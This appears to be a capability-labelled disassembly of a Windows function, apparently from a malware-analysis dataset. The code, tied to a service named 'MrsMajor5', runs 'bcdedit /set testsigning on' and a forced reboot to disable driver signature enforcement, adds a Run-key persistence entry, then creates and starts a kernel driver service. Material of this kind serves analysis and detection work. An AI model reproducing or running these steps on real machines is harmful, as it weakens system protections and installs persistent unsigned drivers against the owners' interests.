Function at 0x140003730
Capabilities:
Create service
Delete registry value
Delete service
Persist via run registry key
Set registry value
Start service
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140099080]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x1400037ae
lea rdx, str.OpenSCManager_failed._Error:
call fcn.14000a350
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140003d20
mov rcx, rax
call fcn.14000a660
mov eax, 1
jmp 0x140003c8b
lea rdx, [rbp - 0x40]
lea rcx, str.restarted.txt
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp rbx, 0xffffffffffffffff
jne 0x14000381f
lea rcx, str.bcdedit__set_testsigning_on
call fcn.140032a60
lea rcx, str.shutdown__r__f__t_0
call fcn.140032a60
test eax, eax
je 0x140003c89
mov qword [rsp + 0x70], 5
nop word [rax + rax]
lea rcx, [rsp + 0x70]
call fcn.140009e70
lea rcx, str.shutdown__r__f__t_0
call fcn.140032a60
test eax, eax
jne 0x140003800
jmp 0x140003c89
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call fcn.140074a00
lea rcx, [rbp - 0x40]
call fcn.140005050
nop
mov r14d, 2
cmp qword [rbp + 0x48], 0
je 0x14000389b
lea rdx, str.System_restarted_successfully.
lea rcx, [rbp - 0x40]
call fcn.14000a010
mov rcx, rax
call fcn.14000a2c0
lea rcx, [rbp - 0x38]
call fcn.140007fc0
test rax, rax
jne 0x14000389b
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 8], 0
cmovne eax, r14d
or eax, dword [rbp + rcx - 0x30]
and eax, 0x17
mov dword [rbp + rcx - 0x30], eax
mov edx, dword [rbp + rcx - 0x2c]
and edx, eax
jne 0x140003cb7
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x38]
call fcn.140004d90
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x68]
call fcn.140011ff0
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 6
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
xor esi, esi
test eax, eax
jne 0x1400039f3
mov r8d, 0x104
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x70]
call fcn.140005970
nop
mov eax, dword [rbp - 0x58]
lea eax, [rax*2 + 2]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.RestartDriverProgram
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x1400039a5
lea rdx, str.Registry_key_added_to_run_the_executable_at_startup._n
call fcn.14000a350
jmp 0x1400039ca
lea rdx, str.Failed_to_set_registry_key._Error:
lea rcx, [0x14009a870]
call fcn.14000a010
mov edx, ebx
mov rcx, rax
call fcn.140005430
mov rcx, rax
call fcn.14000a2c0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x70]
call fcn.140008160
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x70], rsi
mov edx, 0x10
call fcn.14000c2e0
jmp 0x140003a18
lea rdx, str.Failed_to_open_registry_key._Error:
lea rcx, [0x14009a870]
call fcn.14000a010
mov edx, ebx
mov rcx, rax
call fcn.140005430
mov rcx, rax
call fcn.14000a2c0
mov r8d, 0xf01ff
lea rdx, str.MrsMajor5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140003a77
lea rdx, str.Service_already_exists._Updating..._n
call fcn.14000a350
lea r8, [rsp + 0x70]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140003a65
lea rdx, str.Service_stopped._n
call fcn.14000a350
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
lea rax, str.C:PathToYourDriver.sys
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0x10030
lea r8, str.MrsMajor5
lea rdx, str.MrsMajor5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rbx, rax
test rax, rax
jne 0x140003b02
lea rdx, [0x140091c08]
call fcn.14000a350
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140003d20
mov rcx, rax
call fcn.14000a660
jmp 0x140003b17
lea rdx, str.Service_created_successfully._n
call fcn.14000a350
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, 0x10
lea rdx, str.MrsMajor5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x140003b5e
lea rdx, str.OpenService_failed._Error:
call fcn.14000a350
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140003d20
mov rcx, rax
call fcn.14000a660
jmp 0x140003bce
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140003bb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp eax, 0x420
jne 0x140003b88
lea rdx, str.Service_is_already_running._n
jmp 0x140003bc0
cmp esi, 0x241
jne 0x140003b99
lea rdx, str.StartService_failed_due_to_invalid_image_hash._Error_577:_This_indicates_the_driver_signature_is_not_valid_or_Secure_Boot_is_enabled._n
jmp 0x140003bc0
lea rdx, str.StartService_failed._Error:
call fcn.14000a350
mov edx, esi
mov rcx, rax
call fcn.140003d20
mov rcx, rax
call fcn.14000a660
jmp 0x140003bc5
lea rdx, str.Service_started_successfully._n
call fcn.14000a350
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x140003c5b
lea rdx, str.RestartDriverProgram
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, eax
test eax, eax
jne 0x140003c29
lea rdx, str.Registry_key_removed._n
call fcn.14000a350
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140003c80
lea rdx, str.Failed_to_delete_registry_key._Error:
lea rcx, [0x14009a870]
call fcn.14000a010
mov edx, ebx
mov rcx, rax
call fcn.140005430
mov rcx, rax
call fcn.14000a2c0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140003c80
lea rdx, str.Failed_to_open_registry_key._Error:
lea rcx, [0x14009a870]
call fcn.14000a010
mov edx, ebx
mov rcx, rax
call fcn.140005430
mov rcx, rax
call fcn.14000a2c0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140013880
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
test dl, 4
je 0x140003cc5
lea rbx, str.ios_base::badbit_set
jmp 0x140003cda
test r14b, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.140001a00
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.1400032c0
lea rdx, [0x1400977a8]
lea rcx, [rbp - 0x70]
call fcn.140017170
int3